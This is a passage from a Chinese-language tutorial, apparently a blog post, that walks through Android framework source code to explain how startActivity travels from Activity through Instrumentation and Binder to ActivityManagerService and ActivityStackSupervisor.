true;\n\t\t}\n\n\t\tcancelInputsAndStartExitTransition(options);\n\t\t// TODO Consider clearing/flushing other event sources and events for child windows.\n\t} else {\n\t\tif (options != null) {\n\t\t\tmParent.startActivityFromChild(this, intent, requestCode, options);\n\t\t} else {\n\t\t\t// Note we want to go through this method for compatibility with\n\t\t\t// existing applications that may have overridden it.\n\t\t\tmParent.startActivityFromChild(this, intent, requestCode);\n\t\t}\n\t}\n}\n```\n里面调用了`mInstrumentation.execStartActivity`这是啥玩意，先看一下`mInstrumentation`属性，他是`Instrumentation`类，我们看下文档\n```java\n/**\n * Base class for implementing application instrumentation code.  When running\n * with instrumentation turned on, this class will be instantiated for you\n * before any of the application code, allowing you to monitor all of the\n * interaction the system has with the application.  An Instrumentation\n * implementation is described to the system through an AndroidManifest.xml's\n * &lt;instrumentation&gt; tag.\n */\npublic class Instrumentation {\n\t...\n}\n```\n放狗查了下`Instrumentation`的意思是仪器、工具、装置的意思。我就大体翻一下(英语不好- -~，可能不准确)该类是实现应用程序代码的基类，当该类在\n启动的状态下运行时，该类会在其他任何应用程序运行前进行初始化，允许你件事所有应用程序与系统的交互。一个`Instrumentation`实例会通过`Manifest`文件\n中的`<instrumenttation`标签描述给系统。        \n所以继续看一下`mInstrumentation.execStartActivity()`:       \n```java\n/**\n   // 下面的注释说的很明白了默认实现会更新任何活跃的对象并分发给系统的`activity manager`\n * Execute a startActivity call made by the application.  The default \n * implementation takes care of updating any active {@link ActivityMonitor}\n * objects and dispatches this call to the system activity manager; you can\n * override this to watch for the application to start an activity, and \n * modify what happens when it does. \n *\n * <p>This method returns an {@link ActivityResult} object, which you can \n * use when intercepting application calls to avoid performing the start \n * activity action but still return the result the application is \n * expecting.  To do this, override this method to catch the call to start \n * activity so that it returns a new ActivityResult containing the results \n * you would like the application to see, and don't call up to the super \n * class.  Note that an application is only expecting a result if \n * <var>requestCode</var> is &gt;= 0.\n *\n * <p>This method throws {@link android.content.ActivityNotFoundException}\n * if there was no Activity found to run the given Intent.\n *\n * @param who The Context from which the activity is being started.\n * @param contextThread The main thread of the Context from which the activity\n *                      is being started.\n * @param token Internal token identifying to the system who is starting \n *              the activity; may be null.\n * @param target Which activity is performing the start (and thus receiving \n *               any result); may be null if this call is not being made\n *               from an activity.\n * @param intent The actual Intent to start.\n * @param requestCode Identifier for this request's result; less than zero \n *                    if the caller is not expecting a result.\n * @param options Addition options.\n *\n * @return To force the return of a particular result, return an \n *         ActivityResult object containing the desired data; otherwise\n *         return null.  The default implementation always returns null.\n *\n * @throws android.content.ActivityNotFoundException\n *\n * @see Activity#startActivity(Intent)\n * @see Activity#startActivityForResult(Intent, int)\n * @see Activity#startActivityFromChild\n *\n * {@hide}\n */\npublic ActivityResult execStartActivity(\n\t\tContext who, IBinder contextThread, IBinder token, Activity target,\n\t\tIntent intent, int requestCode, Bundle options) {\n\tIApplicationThread whoThread = (IApplicationThread) contextThread;\n\tUri referrer = target != null ? target.onProvideReferrer() : null;\n\tif (referrer != null) {\n\t\tintent.putExtra(Intent.EXTRA_REFERRER, referrer);\n\t}\n\tif (mActivityMonitors != null) {\n\t\tsynchronized (mSync) {\n\t\t\tfinal int N = mActivityMonitors.size();\n\t\t\tfor (int i=0; i<N; i++) {\n\t\t\t\tfinal ActivityMonitor am = mActivityMonitors.get(i);\n\t\t\t\tif (am.match(who, null, intent)) {\n\t\t\t\t\tam.mHits++;\n\t\t\t\t\tif (am.isBlocking()) {\n\t\t\t\t\t\treturn requestCode >= 0 ? am.getResult() : null;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\ttry {\n\t\tintent.migrateExtraStreamToClipData();\n\t\tintent.prepareToLeaveProcess();\n\t\t// 通过注释然后再结合代码一看我们就知道这应该就是分发到系统activity manager的过程\n\t\tint result = ActivityManagerNative.getDefault()\n\t\t\t.startActivity(whoThread, who.getBasePackageName(), intent,\n\t\t\t\t\tintent.resolveTypeIfNeeded(who.getContentResolver()),\n\t\t\t\t\ttoken, target != null ? target.mEmbeddedID : null,\n\t\t\t\t\trequestCode, 0, null, options);\n\t\tcheckStartActivityResult(result, intent);\n\t} catch (RemoteException e) {\n\t\tthrow new RuntimeException(\"Failure from system\", e);\n\t}\n\treturn null;\n}\n```\n那就直接看下`ActivityManagerNative.getDefault().startActivity()`方法，看之前我们先看看`ActivityManagerNative.getDefault()`是什么鬼:     \n```java\n/**\n * Retrieve the system's default/global activity manager.\n */\nstatic public IActivityManager getDefault() {\n\treturn gDefault.get();\n}\n```\n注释说的明白的就是拿到系统默认/全局的`activity manager`，通过名字也能看出来`IActivityManager`是个接口，那就继续看`IActivityManager.startActivity()`方法吧:     \n```java\npublic int startActivity(IApplicationThread caller, String callingPackage, Intent intent,\n            String resolvedType, IBinder resultTo, String resultWho, int requestCode, int flags,\n            ProfilerInfo profilerInfo, Bundle options) throws RemoteException;\n```\n这里就顺便看一下`IActivityManager`接口是神马鬼：  \n```\n/**\n * System private API for talking with the activity manager service.  This\n * provides calls from the application back to the activity manager.\n *\n * {@hide}\n */\npublic interface IActivityManager extends IInterface {\n\t...\n}\n```\n但是看到这里我不知道怎么继续往下分析了啊，既然是接口我们要找到实现类啊，又是通过`ActivityManagerNative.getDefault()`得到的`IActivityManager`实例，\n所以这里我们再看下`ActivityManagerNative`类。\n```java\n/** {@hide} */\npublic abstract class ActivityManagerNative extends Binder implements IActivityManager {\n\t...\n}\n```\n啊！ 隐藏的，连个注释也没有，我拖动了下这个类一看`5992`行，不知道从哪下手了，还能从哪下手啊，当然是从`ActivityManagerNative.getDefault()`方法啊\n```java\npublic abstract class ActivityManagerNative extends Binder implements IActivityManager {\n\n\t// 继承Binder接口，而且asInterFace方法，我好想明白了点什么\n    /**\n     * Cast a Binder object into an activity manager interface, generating\n     * a proxy if needed.\n     */\n    static public IActivityManager asInterface(IBinder obj) {\n        if (obj == null) {\n            return null;\n        }\n        IActivityManager in =\n            (IActivityManager)obj.queryLocalInterface(descriptor);\n        if (in != null) {\n            return in;\n        }\n\t\t\n        return new ActivityManagerProxy(obj);\n    }\n\n    /**\n     * Retrieve the system's default/global activity manager.\n     */\n    static public IActivityManager getDefault() {\n\t\t// 使用了getDefaule的get方法\n        return gDefault.get();\n    }\n\t....\n}\t\n```\n继续看：　　\n```java\nprivate static final Singleton<IActivityManager> gDefault = new Singleton<IActivityManager>() {\n\tprotected IActivityManager create() {\n\t    // 进程间通信了\n\t\tIBinder b = ServiceManager.getService(\"activity\");\n\t\tif (false) {\n\t\t\tLog.v(\"ActivityManager\", \"default service binder = \" + b);\n\t\t}\n\t\t// 看到了吗？用到了刚才我们说的asInterface方法\n\t\tIActivityManager am = asInterface(b);\n\t\tif (false) {\n\t\t\tLog.v(\"ActivityManager\", \"default service = \" + am);\n\t\t}\n\t\treturn am;\n\t}\n};\n```\n好了，我们再看下`asInterface()`方法:　　　　\n```java\nstatic public IActivityManager asInterface(IBinder obj) {\n\tif (obj == null) {\n\t\treturn null;\n\t}\n\tIActivityManager in =\n\t\t(IActivityManager)obj.queryLocalInterface(descriptor);\n\tif (in != null) {\n\t\treturn in;\n\t}\n\t// 在这里\n\treturn new ActivityManagerProxy(obj);\n}\n```\n终于找到了其实就是`ActivityManagerProxy`类，刚才我们找到`IActivityManager`接口的`startActivity()` 方法，现在终于找到了在这里使用的是`IActivityManager`接口实现类的\n`ActivityManagerProxy`类，我们来看一下该类实现的`startActivity()`方法:     \n```java\nclass ActivityManagerProxy implements IActivityManager\n{\n    public ActivityManagerProxy(IBinder remote)\n    {\n        mRemote = remote;\n    }\n\n    public IBinder asBinder()\n    {\n        return mRemote;\n    }\n\tpublic int startActivity(IApplicationThread caller, String callingPackage, Intent intent,\n\t\t\tString resolvedType, IBinder resultTo, String resultWho, int requestCode,\n\t\t\tint startFlags, ProfilerInfo profilerInfo, Bundle options) throws RemoteException {\n\t\tParcel data = Parcel.obtain();\n\t\tParcel reply = Parcel.obtain();\n\t\tdata.writeInterfaceToken(IActivityManager.descriptor);\n\t\tdata.writeStrongBinder(caller != null ? caller.asBinder() : null);\n\t\tdata.writeString(callingPackage);\n\t\tintent.writeToParcel(data, 0);\n\t\tdata.writeString(resolvedType);\n\t\tdata.writeStrongBinder(resultTo);\n\t\tdata.writeString(resultWho);\n\t\tdata.writeInt(requestCode);\n\t\tdata.writeInt(startFlags);\n\t\tif (profilerInfo != null) {\n\t\t\tdata.writeInt(1);\n\t\t\tprofilerInfo.writeToParcel(data, Parcelable.PARCELABLE_WRITE_RETURN_VALUE);\n\t\t} else {\n\t\t\tdata.writeInt(0);\n\t\t}\n\t\tif (options != null) {\n\t\t\tdata.writeInt(1);\n\t\t\toptions.writeToParcel(data, 0);\n\t\t} else {\n\t\t\tdata.writeInt(0);\n\t\t}\n\t\tmRemote.transact(START_ACTIVITY_TRANSACTION, data, reply, 0);\n\t\treply.readException();\n\t\tint result = reply.readInt();\n\t\treply.recycle();\n\t\tdata.recycle();\n\t\treturn result;\n\t}\n\t...\n}\t\n```\n再继续我就不知道走到哪里了....\n这一块其实是用了`Binder`机制，上面的`IActivityManager.getDefault()`方法返回的是`ActivityManagerService`的远程接口，所以接下来\n我们应该看一下`ActivityManagerService.startActivity()`类。(具体`Binder`机制我们后续会专门写一篇文章，这里就不说了，不然就说不完了)\n```java\n@Override\npublic final int startActivity(IApplicationThread caller, String callingPackage,\n\t\tIntent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode,\n\t\tint startFlags, ProfilerInfo profilerInfo, Bundle options) {\n\treturn startActivityAsUser(caller, callingPackage, intent, resolvedType, resultTo,\n\t\tresultWho, requestCode, startFlags, profilerInfo, options,\n\t\tUserHandle.getCallingUserId());\n}\n```\n继续看下`startActivityAsUser()`方法:    \n```java\n@Override\npublic final int startActivityAsUser(IApplicationThread caller, String callingPackage,\n\t\tIntent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode,\n\t\tint startFlags, ProfilerInfo profilerInfo, Bundle options, int userId) {\n\tenforceNotIsolatedCaller(\"startActivity\");\n\tuserId = handleIncomingUser(Binder.getCallingPid(), Binder.getCallingUid(), userId,\n\t\t\tfalse, ALLOW_FULL_ONLY, \"startActivity\", null);\n\t// TODO: Switch to user app stacks here.\n\treturn mStackSupervisor.startActivityMayWait(caller, -1, callingPackage, intent,\n\t\t\tresolvedType, null, null, resultTo, resultWho, requestCode, startFlags,\n\t\t\tprofilerInfo, null, null, options, false, userId, null, null);\n}\n```\n继续看一下`mStackSupervisor.startActivityMayWait()`方法,这里`mStackSupervisor`是`ActivityStackSupervisor`类:       \n```java\nfinal int startActivityMayWait(IApplicationThread caller, int callingUid,\n\t\tString callingPackage, Intent intent, String resolvedType,\n\t\tIVoiceInteractionSession voiceSession, IVoiceInteractor voiceInteractor,\n\t\tIBinder resultTo, String resultWho, int requestCode, int startFlags,\n\t\tProfilerInfo profilerInfo, WaitResult outResult, Configuration config,\n\t\tBundle options, boolean ignoreTargetSecurity, int userId,\n\t\tIActivityContainer iContainer, TaskRecord inTask) {\n\t// Refuse possible leaked file descriptors\n\tif (intent != null && intent.hasFileDescriptors()) {\n\t\tthrow new IllegalArgumentException(\"File descriptors passed in Intent\");\n\t}\n\tboolean componentSpecified = intent.getComponent() != null;\n\n\t// Don't modify the client's object!\n\tintent = new Intent(intent);\n\n\t// 解析出要开启的Activity的信息，包名、类名、参数等。\n\t// Collect information about the target of the Intent.\n\tActivityInfo aInfo =\n\t\t\tresolveActivity(intent, resolvedType, startFlags, profilerInfo, userId);\n\n\tActivityContainer container = (ActivityContainer)iContainer;\n\tsynchronized (mService) {\n\t\tif (container != null && container.mParentActivity != null &&\n\t\t\t\tcontainer.mParentActivity.state != RESUMED) {\n\t\t\t// Cannot start a child activity if the parent is not resumed.\n\t\t\treturn ActivityManager.START_CANCELED;\n\t\t}\n\t\tfinal int realCallingPid = Binder.getCallingPid();\n\t\tfinal int realCallingUid = Binder.getCallingUid();\n\t\tint callingPid;\n\t\tif (callingUid >= 0) {\n\t\t\tcallingPid = -1;\n\t\t} else if (caller == null) {\n\t\t\tcallingPid = realCallingPid;\n\t\t\tcallingUid = realCallingUid;\n\t\t} else {\n\t\t\tcallingPid = callingUid = -1;\n\t\t}\n\n\t\tfinal ActivityStack stack;\n\t\tif (container == null || container.mStack.isOnHomeDisplay()) {\n\t\t\tstack = mFocusedStack;\n\t\t} else {\n\t\t\tstack = container.mStack;\n\t\t}\n\t\tstack.mConfigWillChange = config != null && mService.mConfiguration.diff(config) != 0;\n\t\tif (DEBUG_CONFIGURATION) Slog.v(TAG_CONFIGURATION,\n\t\t\t\t\"Starting activity when config will change = \" + stack.mConfigWillChange);\n\n\t\tfinal long origId = Binder.clearCallingIdentity();\n\n\t\tif (aInfo != null &&\n\t\t\t\t(aInfo.applicationInfo.privateFlags\n\t\t\t\t\t\t&ApplicationInfo.PRIVATE_FLAG_CANT_SAVE_STATE) != 0) {\n\t\t\t// This may be a heavy-weight process!  Check to see if we already\n\t\t\t// have another, different heavy-weight process running.\n\t\t\tif (aInfo.processName.equals(aInfo.applicationInfo.packageName)) {\n\t\t\t\tif (mService.mHeavyWeightProcess != null &&\n\t\t\t\t\t\t(mService.mHeavyWeightProcess.info.uid != aInfo.applicationInfo.uid ||\n\t\t\t\t\t\t!mService.mHeavyWeightProcess.processName.equals(aInfo.processName))) {\n\t\t\t\t\tint appCallingUid = callingUid;\n\t\t\t\t\tif (caller != null) {\n\t\t\t\t\t\tProcessRecord callerApp = mService.getRecordForAppLocked(caller);\n\t\t\t\t\t\tif (callerApp != null) {\n\t\t\t\t\t\t\tappCallingUid = callerApp.info.uid;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tSlog.w(TAG, \"Unable to find app for caller \" + caller\n\t\t\t\t\t\t\t\t  + \" (pid=\" + callingPid + \") when starting: \"\n\t\t\t\t\t\t\t\t  + intent.toString());\n\t\t\t\t\t\t\tActivityOptions.abort(options);\n\t\t\t\t\t\t\treturn ActivityManager.START_PERMISSION_DENIED;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tIIntentSender target = mService.getIntentSenderLocked(\n\t\t\t\t\t\t\tActivityManager.INTENT_SENDER_ACTIVITY, \"android\",\n\t\t\t\t\t\t\tappCallingUid, userId, null, null, 0, new Intent[] { intent },\n\t\t\t\t\t\t\tnew String[] { resolvedType }, PendingIntent.FLAG_CANCEL_CURRENT\n\t\t\t\t\t\t\t| PendingIntent.FLAG_ONE_SHOT, null);\n\n\t\t\t\t\tIntent newIntent = new Intent();\n\t\t\t\t\tif (requestCode >= 0) {\n\t\t\t\t\t\t// Caller is requesting a result.\n\t\t\t\t\t\tnewIntent.putExtra(HeavyWeightSwitcherActivity.KEY_HAS_RESULT, true);\n\t\t\t\t\t}\n\t\t\t\t\tnewIntent.putExtra(HeavyWeightSwitcherActivity.KEY_INTENT,\n\t\t\t\t\t\t\tnew IntentSender(target));\n\t\t\t\t\tif (mService.mHeavyWeightProcess.activities.size() > 0) {\n\t\t\t\t\t\tActivityRecord hist = mService.mHeavyWeightProcess.activities.get(0);\n\t\t\t\t\t\tnewIntent.putExtra(HeavyWeightSwitcherActivity.KEY_CUR_APP,\n\t\t\t\t\t\t\t\thist.packageName);\n\t\t\t\t\t\tnewIntent.putExtra(HeavyWeightSwitcherActivity.KEY_CUR_TASK,\n\t\t\t\t\t\t\t\thist.task.taskId);\n\t\t\t\t\t}\n\t\t\t\t\tnewIntent.putExtra(HeavyWeightSwitcherActivity.KEY_NEW_APP,\n\t\t\t\t\t\t\taInfo.packageName);\n\t\t\t\t\tnewIntent.setFlags(intent.getFlags());\n\t\t\t\t\tnewIntent.setClassName(\"android\",\n\t\t\t\t\t\t\tHeavyWeightSwitcherActivity.class.getName());\n\t\t\t\t\tintent = newIntent;\n\t\t\t\t\tresolvedType = null;\n\t\t\t\t\tcaller = null;\n\t\t\t\t\tcallingUid = Binder.getCallingUid();\n\t\t\t\t\tcallingPid = Binder.getCallingPid();\n\t\t\t\t\tcomponentSpecified = true;\n\t\t\t\t\ttry {\n\t\t\t\t\t\tResolveInfo rInfo =\n\t\t\t\t\t\t\tAppGlobals.getPackageManager().resolveIntent(\n\t\t\t\t\t\t\t\t\tintent, null,\n\t\t\t\t\t\t\t\t\tPackageManager.MATCH_DEFAULT_ONLY\n\t\t\t\t\t\t\t\t\t| ActivityManagerService.STOCK_PM_FLAGS, userId);\n\t\t\t\t\t\taInfo = rInfo != null ? rInfo.activityInfo : null;\n\t\t\t\t\t\taInfo = mService.getActivityInfoForUser(aInfo, userId);\n\t\t\t\t\t} catch (RemoteException e) {\n\t\t\t\t\t\taInfo = null;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// 根据上面解析的内容去开启了。。。\n\t\tint res = startActivityLocked(caller, intent, resolvedType, aInfo,\n\t\t\t\tvoiceSession, voiceInteractor, resultTo, resultWho,\n\t\t\t\trequestCode, callingPid, callingUid, callingPackage,\n\t\t\t\trealCallingPid, realCallingUid, startFlags, options, ignoreTargetSecurity,\n\t\t\t\tcomponentSpecified, null, container, inTask);\n\n\t\tBinder.restoreCallingIdentity(origId);\n\n\t\tif (stack.mConfigWillChange) {\n\t\t\t// If the caller also wants to switch to a new configuration,\n\t\t\t// do so now.  This allows a clean switch, as we are waiting\n\t\t\t// for the current activity to pause (so we will not destroy\n\t\t\t// it), and have not yet started the next activity.\n\t\t\tmService.enforceCallingPermission(android.Manifest.permission.CHANGE_CONFIGURATION,\n\t\t\t\t\t\"updateConfiguration()\");\n\t\t\tstack.mConfigWillChange = false;\n\t\t\tif (DEBUG_CONFIGURATION) Slog.v(TAG_CONFIGURATION,\n\t\t\t\t\t\"Updating to new configuration after starting activity.\");\n\t\t\tmService.updateConfigurationLocked(config, null, false, false);\n\t\t}\n\n\t\tif (outResult != null) {\n\t\t\toutResult.result = res;\n\t\t\tif (res == ActivityManager.START_SUCCESS) {\n\t\t\t\tmWaitingActivityLaunched.add(outResult);\n\t\t\t\tdo {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tmService.wait();\n\t\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t}\n\t\t\t\t} while (!outResult.timeout && outResult.who == null);\n\t\t\t} else if (res == ActivityManager.START_TASK_TO_FRONT) {\n\t\t\t\tActivityRecord r = stack.topRunningActivityLocked(null);\n\t\t\t\tif (r.nowVisible && r.state == RESUMED) {\n\t\t\t\t\toutResult.timeout = false;\n\t\t\t\t\toutResult.who = new ComponentName(r.info.packageName, r.info.name);\n\t\t\t\t\toutResult.totalTime = 0;\n\t\t\t\t\toutResult.thisTime = 0;\n\t\t\t\t} else {\n\t\t\t\t\toutResult.thisTime = SystemClock.uptimeMillis();\n\t\t\t\t\tmWaitingActivityVisible.add(outResult);\n\t\t\t\t\tdo {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tmService.wait();\n\t\t\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t\t}\n\t\t\t\t\t} while (!outResult.timeout && outResult.who == null);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn res;\n\t}\n}\n```\n那就继续看一下`startActivityLocked()`方法:        \n```java\nfinal int startActivityLocked(IApplicationThread caller,\n\t\tIntent intent, String resolvedType, ActivityInfo aInfo,\n\t\tIVoiceInteractionSession voiceSession, IVoiceInteractor voiceInteractor,\n\t\tIBinder resultTo, String resultWho, int requestCode,\n\t\tint callingPid, int callingUid, String callingPackage,\n\t\tint realCallingPid, int realCallingUid, int startFlags, Bundle options,\n\t\tboolean ignoreTargetSecurity, boolean componentSpecified, ActivityRecord[] outActivity,\n\t\tActivityContainer container, TaskRecord inTask) {\n\tint err = ActivityManager.START_SUCCESS;\n\n\tProcessRecord callerApp = null;\n\tif (caller != null) {\n\t\t// mService就是ActivityManagerService类\n\t\tcallerApp = mService.getRecordForAppLocked(caller);\n\t\tif (callerApp != null) {\n\t\t\tcallingPid = callerApp.pid;\n\t\t\tcallingUid = callerApp.info.uid;\n\t\t} else {\n\t\t\tSlog.w(TAG, \"Unable to find app for caller \" + caller\n\t\t\t\t  + \" (pid=\" + callingPid + \") when starting: \"\n\t\t\t\t  + intent.toString());\n\t\t\terr = ActivityManager.START_PERMISSION_DENIED;\n\t\t}\n\t}\n\n\tfinal int userId = aInfo != null ? UserHandle.getUserId(aInfo.applicationInfo.uid) : 0;\n\n\tif (err == ActivityManager.START_SUCCESS) {\n\t\tSlog.i(TAG, \"START u\" + userId + \" {\" + intent.toShortString(true, true, true, false)\n\t\t\t\t+ \"} from uid \" + callingUid\n\t\t\t\t+ \" on display \" + (container == null ? (mFocusedStack == null ?\n\t\t\t\t\t\tDisplay.DEFAULT_DISPLAY : mFocusedStack.mDisplayId) :\n\t\t\t\t\t\t(container.mActivityDisplay == null ? Display.DEFAULT_DISPLAY :\n\t\t\t\t\t\t\t\tcontainer.mActivityDisplay.mDisplayId)));\n\t}\n\n\tActivityRecord sourceRecord = null;\n\tActivityRecord resultRecord = null;\n\tif (resultTo != null) {\n\t\tsourceRecord = isInAnyStackLocked(resultTo);\n\t\tif (DEBUG_RESULTS) Slog.v(TAG_RESULTS,\n\t\t\t\t\"Will send result to \" + resultTo + \" \" + sourceRecord);\n\t\tif (sourceRecord != null) {\n\t\t\tif (requestCode >= 0 && !sourceRecord.finishing) {\n\t\t\t\tresultRecord = sourceRecord;\n\t\t\t}\n\t\t}\n\t}\n\n\tfinal int launchFlags = intent.getFlags();\n\n\tif ((launchFlags & Intent.FLAG_ACTIVITY_FORWARD_RESULT) != 0 && sourceRecord != null) {\n\t\t// Transfer the result target from the source activity to the new\n\t\t// one being started, including any failures.\n\t\tif (requestCode >= 0) {\n\t\t\tActivityOptions.abort(options);\n\t\t\treturn ActivityManager.START_FORWARD_AND_REQUEST_CONFLICT;\n\t\t}\n\t\tresultRecord = sourceRecord.resultTo;\n\t\tif (resultRecord != null && !resultRecord.isInStackLocked()) {\n\t\t\tresultRecord = null;\n\t\t}\n\t\tresultWho = sourceRecord.resultWho;\n\t\trequestCode = sourceRecord.requestCode;\n\t\tsourceRecord.resultTo = null;\n\t\tif (resultRecord != null) {\n\t\t\tresultRecord.removeResultsLocked(sourceRecord, resultWho, requestCode);\n\t\t}\n\t\tif (sourceRecord.launchedFromUid == callingUid) {\n\t\t\t// The new activity is being launched from the same uid as the previous\n\t\t\t// activity in the flow, and asking to forward its result back to the\n\t\t\t// previous.  In this case the activity is serving as a trampoline between\n\t\t\t// the two, so we also want to update its launchedFromPackage to be the\n\t\t\t// same as the previous activity.  Note that this is safe, since we know\n\t\t\t// these two packages come from the same uid; the caller could just as\n\t\t\t// well have supplied that same package name itself.  This specifially\n\t\t\t// deals with the case of an intent picker/chooser being launched in the app\n\t\t\t// flow to redirect to an activity picked by the user, where we want the final\n\t\t\t// activity to consider it to have been launched by the previous app activity.\n\t\t\tcallingPackage = sourceRecord.launchedFromPackage;\n\t\t}\n\t}\n\n\tif (err == ActivityManager.START_SUCCESS && intent.getComponent() == null) {\n\t\t// We couldn't find a class that can handle the given Intent.\n\t\t// That's the end of that!\n\t\terr = ActivityManager.START_INTENT_NOT_RESOLVED;\n\t}\n\n\tif (err == ActivityManager.START_SUCCESS && aInfo == null) {\n\t\t// We couldn't find the specific class specified in the Intent.\n\t\t// Also the end of the line.\n\t\terr = ActivityManager.START_CLASS_NOT_FOUND;\n\t}\n\n\tif (err == ActivityManager.START_SUCCESS\n\t\t\t&& !isCurrentProfileLocked(userId)\n\t\t\t&& (aInfo.flags & FLAG_SHOW_FOR_ALL_USERS) == 0) {\n\t\t// Trying to launch a background activity that doesn't show for all users.\n\t\terr = ActivityManager.START_NOT_CURRENT_USER_ACTIVITY;\n\t}\n\n\tif (err == ActivityManager.START_SUCCESS && sourceRecord != null\n\t\t\t&& sourceRecord.task.voiceSession != null) {\n\t\t// If this activity is being launched as part of a voice session, we need\n\t\t// to ensure that it is safe to do so.  If the upcoming activity will also\n\t\t// be part of the voice session, we can only launch it if it has explicitly\n\t\t// said it supports the VOICE category, or it is a part of the calling app.\n\t\tif ((launchFlags & Intent.FLAG_ACTIVITY_NEW_TASK) == 0\n\t\t\t\t&& sourceRecord.info.applicationInfo.uid != aInfo.applicationInfo.uid) {\n\t\t\ttry {\n\t\t\t\tintent.addCategory(Intent.CATEGORY_VOICE);\n\t\t\t\tif (!AppGlobals.getPackageManager().activitySupportsIntent(\n\t\t\t\t\t\tintent.getComponent(), intent, resolvedType)) {\n\t\t\t\t\tSlog.w(TAG,\n\t\t\t\t\t\t\t\"Activity being started in current voice task does not support voice: \"\n\t\t\t\t\t\t\t+ intent);\n\t\t\t\t\terr = ActivityManager.START_NOT_VOICE_COMPATIBLE;\n\t\t\t\t}\n\t\t\t} catch (RemoteException e) {\n\t\t\t\tSlog.w(TAG, \"Failure checking voice capabilities\", e);\n\t\t\t\terr = ActivityManager.START_NOT_VOICE_COMPATIBLE;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (err == ActivityManager.START_SUCCESS && voiceSession != null) {\n\t\t// If the caller is starting a new voice session, just make sure the target\n\t\t// is actually allowing it to run this way.\n\t\ttry {\n\t\t\tif (!AppGlobals.getPackageManager().activitySupportsIntent(intent.getComponent(),\n\t\t\t\t\tintent, resolvedType)) {\n\t\t\t\tSlog.w(TAG,\n\t\t\t\t\t\t\"Activity being started in new voice task does not support: \"\n\t\t\t\t\t\t+ intent);\n\t\t\t\terr = ActivityManager.START_NOT_VOICE_COMPATIBLE;\n\t\t\t}\n\t\t} catch (RemoteException e) {\n\t\t\tSlog.w(TAG, \"Failure checking voice capabilities\", e);\n\t\t\terr = ActivityManager.START_NOT_VOICE_COMPATIBLE;\n\t\t}\n\t}\n\t// Activity栈\n\tfinal ActivityStack resultStack = resultRecord == null ? null : resultRecord.task.stack;\n\n\tif (err != ActivityManager.START_SUCCESS) {\n\t\tif (resultRecord != null) {\n\t\t\tresultStack.sendActivityResultLocked(-1,\n\t\t\t\tresultRecord, resultWho, requestCode,\n\t\t\t\tActivity.RESULT_CANCELED, null);\n\t\t}\n\t\tActivityOptions.abort(options);\n\t\treturn err;\n\t}\n\n\tboolean abort = false;\n\n\tfinal int startAnyPerm = mService.checkPermission(\n\t\t\tSTART_ANY_ACTIVITY, callingPid, callingUid);\n\n\tif (startAnyPerm != PERMISSION_GRANTED) {\n\t\tfinal int componentRestriction = getComponentRestrictionForCallingPackage(\n\t\t\t\taInfo, callingPackage, callingPid, callingUid, ignoreTargetSecurity);\n\t\tfinal int actionRestriction = getActionRestrictionForCallingPackage(\n\t\t\t\tintent.getAction(), callingPackage, callingPid, callingUid);\n\n\t\tif (componentRestriction == ACTIVITY_RESTRICTION_PERMISSION\n\t\t\t\t|| actionRestriction == ACTIVITY_RESTRICTION_PERMISSION) {\n\t\t\tif (resultRecord != null) {\n\t\t\t\tresultStack.sendActivityResultLocked(-1,\n\t\t\t\t\t\tresultRecord, resultWho, requestCode,\n\t\t\t\t\t\tActivity.RESULT_CANCELED, null);\n\t\t\t}\n\t\t\tString msg;\n\t\t\tif (actionRestriction == ACTIVITY_RESTRICTION_PERMISSION) {\n\t\t\t\tmsg = \"Permission Denial: starting \" + intent.toString()\n\t\t\t\t\t\t+ \" from \" + callerApp + \" (pid=\" + callingPid\n\t\t\t\t\t\t+ \", uid=\" + callingUid + \")\" + \" with revoked permission \"\n\t\t\t\t\t\t+ ACTION_TO_RUNTIME_PERMISSION.get(intent.getAction());\n\t\t\t} else if (!aInfo.exported) {\n\t\t\t\tmsg = \"Permission Denial: starting \" + intent.toString()\n\t\t\t\t\t\t+ \" from \" + callerApp + \" (pid=\" + callingPid\n\t\t\t\t\t\t+ \", uid=\" + callingUid + \")\"\n\t\t\t\t\t\t+ \" not exported from uid \" + aInfo.applicationInfo.uid;\n\t\t\t} else {\n\t\t\t\tmsg = \"Permission Denial: starting \" + intent.toString()\n\t\t\t\t\t\t+ \" from \" + callerApp + \" (pid=\" + callingPid\n\t\t\t\t\t\t+ \", uid=\" + callingUid + \")\"\n\t\t\t\t\t\t+ \" requires \" + aInfo.permission;\n\t\t\t}\n\t\t\tSlog.w(TAG, msg);\n\t\t\tthrow new SecurityException(msg);\n\t\t}\n\n\t\tif (actionRestriction == ACTIVITY_RESTRICTION_APPOP) {\n\t\t\tString message = \"Appop Denial: starting \" + intent.toString()\n\t\t\t\t\t+ \" from \" + callerApp + \" (pid=\" + callingPid\n\t\t\t\t\t+ \", uid=\" + callingUid + \")\"\n\t\t\t\t\t+ \" requires \" + AppOpsManager.permissionToOp(\n\t\t\t\t\t\t\tACTION_TO_RUNTIME_PERMISSION.get(intent.getAction()));\n\t\t\tSlog.w(TAG, message);\n\t\t\tabort = true;\n\t\t} else if (componentRestriction == ACTIVITY_RESTRICTION_APPOP) {\n\t\t\tString message = \"Appop Denial: starting \" + intent.toString()\n\t\t\t\t\t+ \" from \" + callerApp + \" (pid=\" + callingPid\n\t\t\t\t\t+ \", uid=\" + callingUid + \")\"\n\t\t\t\t\t+ \" requires appop \" + AppOpsManager.permissionToOp(aInfo.permission);\n\t\t\tSlog.w(TAG, message);\n\t\t\tabort = true;\n\t\t}\n\t}\n\n\tabort |= !mService.mIntentFirewall.checkStartActivity(intent, callingUid,\n\t\t\tcallingPid, resolvedType, aInfo.applicationInfo);\n\n\tif (mService.mController != null) {\n\t\ttry {\n\t\t\t// The Intent we give to the watcher has the extra data\n\t\t\t// stripped off, since it can contain private information.\n\t\t\tIntent watchIntent = intent.cloneFilter();\n\t\t\tabort |= 